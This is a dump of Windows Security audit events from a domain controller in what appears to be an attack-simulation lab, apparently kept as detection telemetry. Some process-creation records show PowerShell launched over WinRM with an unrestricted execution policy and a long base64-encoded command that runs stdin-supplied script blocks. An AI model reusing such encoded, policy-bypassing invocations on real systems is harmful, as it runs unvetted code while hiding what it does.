ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257672 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53446A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257671 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53446A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {921F7C55-617D-D897-9C23-5E013CD55714} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257670 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {921F7C55-617D-D897-9C23-5E013CD55714} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257669 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {921F7C55-617D-D897-9C23-5E013CD55714} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257668 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257667 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x109c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x67c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257666 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x67c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa18 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257665 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x534022 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257664 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x534022 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {921F7C55-617D-D897-9C23-5E013CD55714} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257663 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {921F7C55-617D-D897-9C23-5E013CD55714} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257662 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {921F7C55-617D-D897-9C23-5E013CD55714} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257661 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257681 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5371E1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257680 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5371E1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E70C60B7-55FD-4E08-B8F7-5F60FBB5CF55} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257679 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E70C60B7-55FD-4E08-B8F7-5F60FBB5CF55} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257678 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E70C60B7-55FD-4E08-B8F7-5F60FBB5CF55} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:09 AM -LogName=Security -SourceName=Microsoft 